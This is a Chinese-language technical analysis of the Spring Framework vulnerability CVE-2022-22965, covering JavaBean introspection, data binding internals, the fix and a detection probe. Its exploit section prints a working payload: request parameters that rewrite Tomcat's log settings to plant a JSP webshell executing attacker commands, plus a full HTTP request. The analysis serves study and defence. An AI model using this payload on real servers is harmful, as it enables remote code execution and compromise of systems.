CVE-2022-22965 漏洞分析,安全问题早发现
本文分享自华为云社区《CVE-2022-22965 漏洞分析》,作者:Xuuuu。
CVE-2022-22965
A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.
环境搭建
VulEnv/springboot/cve-2022-22965 at master · XuCcc/VulEnv
前置知识
JavaBean
一个典型的 Bean 对象如下
class UserInfo {
private int age;
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
通过 private 定义属性 通过 public getXyz/setXyz 来读写的 class 被称为 JavaBean [^1]
Introspector
java.beans.Introspector [^2] 提供一套标准的方法来访问 javaBean 中的属性、方法、事件,会搜索 Bean 本身并一路往上搜索父类来获取信息。如通过 java.beans.PropertyDescriptor 来获取属性相关的信息(name/getter/setter/...)
public static void main(String args[]) throws IntrospectionException {
BeanInfo info = Introspector.getBeanInfo(UserInfo.class);
PropertyDescriptor[] propertyDescriptors = info.getPropertyDescriptors();
for (PropertyDescriptor propertyDescriptor : propertyDescriptors) {
System.out.println(propertyDescriptor);
System.out.println("=================================================");
}
}
// java.beans.PropertyDescriptor[name=age; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@6e1567f1; required=false}; propertyType=int; readMethod=public int person.xu.vulEnv.UserInfo.getAge(); writeMethod=public void person.xu.vulEnv.UserInfo.setAge(int)]
// =================================================
// java.beans.PropertyDescriptor[name=class; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.Class; readMethod=public final native java.lang.Class java.lang.Object.getClass()]
// =================================================
也可以通过内省操作来进行赋值操作
UserInfo user = new UserInfo();
System.out.println("age: " + user.getAge());
PropertyDescriptor pd = Arrays.stream(info.getPropertyDescriptors()).filter(p -> p.getName().equals("age")).findFirst().get();
pd.getWriteMethod().invoke(user, 18);
System.out.println("age: " + user.getAge());
// age: 0
// age: 18
Spring BeanWrapperImpl
提供了一套简单的api来进行 JavaBean 的操作,以及一些高级特性(嵌套属性、批量读写等)
public class User {
private String name;
private UserInfo info;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public UserInfo getInfo() {
return info;
}
public void setInfo(UserInfo info) {
this.info = info;
}
public static void main(String args[]) {
User user = new User();
BeanWrapper bw = PropertyAccessorFactory.forBeanPropertyAccess(user);
bw.setAutoGrowNestedPaths(true);
bw.setPropertyValue("name", "wang");
bw.setPropertyValue("info.age", 18);
System.out.printf("%s is %d%n", user.getName(), user.getInfo().getAge());
}
}
// wang is 18
在 setPropertyValue(“name”, “wang”) 处分析调用逻辑,大致了解下流程
org.springframework.beans.AbstractNestablePropertyAccessor[^3]
- 调用getPropertyAccessorForPropertyPath方法通过 getter 来获取嵌套属性
- getPropertyAccessorForPropertyPath 存在嵌套 A.B.C 属性时,循环调用 getter 取值
- 调用setPropertyValue方法通过 setter 来设置属性
- processKeyedProperty 设置 Array/List… 对象
- processLocalProperty 设置简单 Bean 对象
- getLocalPropertyHandler 获取属性描述符
- getCachedIntrospectionResults 从缓存中获取 PropertyDescriptor
- CachedIntrospectionResults#forClass 为当前Bean创建缓存
- …
- getCachedIntrospectionResults 从缓存中获取 PropertyDescriptor
- setValue 通过反射调用 setter 进行赋值
- getLocalPropertyHandler 获取属性描述符
Spring data bind
以如下的 controller 为例,跟踪 spring 参数绑定的过程
@GetMapping("/")
public String info(User user) {
return String.format("%s is %d", user.getName(), user.getInfo().getAge());
}
- 传入的 http 请求经过 org.springframework.web.servlet.DispatcherServlet#doDispatch处理,寻找对应的 Handler 进行处理
- org.springframework.web.method.support.InvocableHandlerMethod#invokeForRequest 调用 Handler 前进行参数绑定
- 使用响应的 org.springframework.web.method.support.HandlerMethodArgumentResolver#resolveArgument 来进行参数解析,从 request 中获取参数。这里为 org.springframework.web.method.annotation.ModelAttributeMethodProcessor#resolveArgument
- 接下来进入到 org.springframework.validation.DataBinder#doBind,根据 JavaBean 对象来进行赋值。这里会获取一个BeanWrapperImpl通过setPropertyValues来进行赋值
- org.springframework.beans.AbstractPropertyAccessor#setPropertyValues
- org.springframework.beans.AbstractNestablePropertyAccessor#setPropertyValue
源码分析
官方在 5.3.18 修复了这个问题,查看 Comparing v5.3.17…v5.3.18 · spring-projects/spring-framework 在 org.springframework.beans.CachedIntrospectionResults#CachedIntrospectionResults 处进行了相关修改,加强了一个 PropertyDescriptor 相关的过滤。查看相关调用
- org.springframework.beans.CachedIntrospectionResults#forClass
- org.springframework.beans.BeanWrapperImpl#getCachedIntrospectionResults
结合上文的内容不难推断,Spring在进行参数绑定时调用的 BeanWrapperImpl在进行JavaBean操作时触发了此漏洞。
<init>:272, CachedIntrospectionResults (org.springframework.beans)
forClass:181, CachedIntrospectionResults (org.springframework.beans)
getCachedIntrospectionResults:174, BeanWrapperImpl (org.springframework.beans)
getLocalPropertyHandler:230, BeanWrapperImpl (org.springframework.beans)
getLocalPropertyHandler:63, BeanWrapperImpl (org.springframework.beans)
processLocalProperty:418, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:278, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:266, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValues:104, AbstractPropertyAccessor (org.springframework.beans)
applyPropertyValues:856, DataBinder (org.springframework.validation)
doBind:751, DataBinder (org.springframework.validation)
doBind:198, WebDataBinder (org.springframework.web.bind)
bind:118, ServletRequestDataBinder (org.springframework.web.bind)
bindRequestParameters:158, ServletModelAttributeMethodProcessor (org.springframework.web.servlet.mvc.method.annotation)
resolveArgument:171, ModelAttributeMethodProcessor (org.springframework.web.method.annotation)
resolveArgument:122, HandlerMethodArgumentResolverComposite (org.springframework.web.method.support)
getMethodArgumentValues:179, InvocableHandlerMethod (org.springframework.web.method.support)
invokeForRequest:146, InvocableHandlerMethod (org.springframework.web.method.support)
...
Exp 编写
由于 JDK9 新提供了 java.lang.Module[^4] 使得在 CachedIntrospectionResults#CachedIntrospectionResults 能够通过 class.module.classLoader 来获取 classLoader,所以这个洞也是 CVE-2010-1622[^5] 的绕过。
目前流传的EXP都是利用 Tomcat 的 ParallelWebappClassLoader 来修改 Tomcat 中日志相关的属性[^6],来向日志文件写入 webshell 达到命令执行的目的。
例如向 webapps/shell.jsp 写入 http header 中的 cmd
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{cmd}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
发送报文
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7bcmd%7di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2fROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 7.223.181.36:38888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
cmd: <%=Runtime.getRuntime().exec(request.getParameter(new String(new byte[]{97})))%>
就可以利用 shell.jsp?a=cmd 来执行命令了
一些其他利用细节可以参考:关于Spring framework rce(CVE-2022-22965)的一些问题思考
补丁修复
Spring 在获取属性描述符时加强了判断,只留下了 name 属性。
if (Class.class == beanClass && (!"name".equals(pd.getName()) && !pd.getName().endsWith("Name"))) {
// Only allow all name variants of Class properties
continue;
}
if (pd.getPropertyType() != null && (ClassLoader.class.isAssignableFrom(pd.getPropertyType())
|| ProtectionDomain.class.isAssignableFrom(pd.getPropertyType()))) {
// Ignore ClassLoader and ProtectionDomain types - nobody needs to bind to those
continue;
}
Poc 编写
通过错误地设置 classloader 下的属性来触发 BindException异常让服务端返回异常即可判断是否存在漏洞,例如发送
GET /?class.module.classLoader.defaultAssertionStatus=123 HTTP/1.1
Host: 127.0.0.1:39999
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
服务端返回
HTTP/1.1 400
Content-Type: text/html;charset=UTF-8
Content-Language: zh-CN
Content-Length: 277
Date: Fri, 08 Apr 2022 03:49:42 GMT
Connection: close
<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>Fri Apr 08 11:49:42 CST 2022</div><div>There was an unexpected error (type=Bad Request, status=400).</div></body></html>
Reference
- Spring Framework RCE, Early Announcement
- SpringShell RCE vulnerability: Guidance for protecting against and detecting CVE-2022-22965 - Microsoft Security Blog
- SpringMVC参数绑定原理 | 技术驱动生活
- Spring Framework RCE漏洞分析 | Gta1ta’s Blog
- CVE-2022-22965 (SpringShell): RCE Vulnerability Analysis and Mitigations
Footnote
[^1]: JavaBeans - Wikipedia
[^2]: Introspector (Java Platform SE 8 )
[^3]: Spring 属性注入(三)AbstractNestablePropertyAccessor - binarylei - 博客园
[^4]: Module (Java SE 9 & JDK 9 )
[^5]: SpringMVC框架任意代码执行漏洞(CVE-2010-1622)分析 - Ruilin
[^6]: Apache Tomcat 8 Configuration Reference (8.0.53) - The Valve Component
文末福利:华为云漏洞扫描服务VSS 基础版限时免费体验>>>
相关文章
- 8月业务安全月报 | 多家科技企业遭勒索软件攻击;刷单诈骗暴增;苹果曝严重漏洞
- SRC挖掘—web不安全的直接对象引用 (IDOR)漏洞-3day
- CVE-2014-0160:心脏出血(心血)漏洞
- WEB安全基础 - - -命令执行漏洞
- flask session 安全问题 和 python 格式化字符串漏洞
- 逻辑漏洞总结
- php pwn学习入门二 (格式化字符串漏洞)
- Web安全 | EmpireCMS漏洞常见漏洞分析及复现
- CVE-2017-12611 S2-053 远程代码执行漏洞
- 漏洞利用-通达OA11.10前台getshell执行命令
- 高危漏洞下的业务安全、公有云数据泄露的责任划分 | FB甲方群话题讨论
- Android 组件逻辑漏洞漫谈
- VAmPI:一个包含了OWASP Top10漏洞的REST API安全学习平台
- fastjson:我哭了,差点被几个“漏洞”毁了一世英名
- 漏洞分析丨cve20144113
- 端口漏洞漏洞警钟:MSSQL 1433端口安全威胁(mssql1433)
- Linux漏洞修复:拯救安全的必要武器(linux漏洞修复软件)
- 微软向安全专家支付1360万美元的奖金 中美安全专家提交的漏洞最多
- 漏洞MongoDB未授权漏洞行为注意!(mongodb未授权)
- 每日安全资讯:女黑客又曝光 4 个 Windows 10 零日漏洞
- Nginx漏洞利用与安全加固方法
- 处理SUSE Linux非安全权限漏洞,运维的都知道!
- mssql 注入漏洞:利用上传文件实现远程操作(mssql 注入上传文件)
- MSSQL注入漏洞破解SA密码实战(mssql注入sa密码)
- 天赐之恩,谨防Oracle主建漏洞(oracle主建漏洞)
- 警惕Redis空密码漏洞的危害(存在redis空密码漏洞)
- 微软云PC漏洞:可被明文转储Microsoft Azure凭据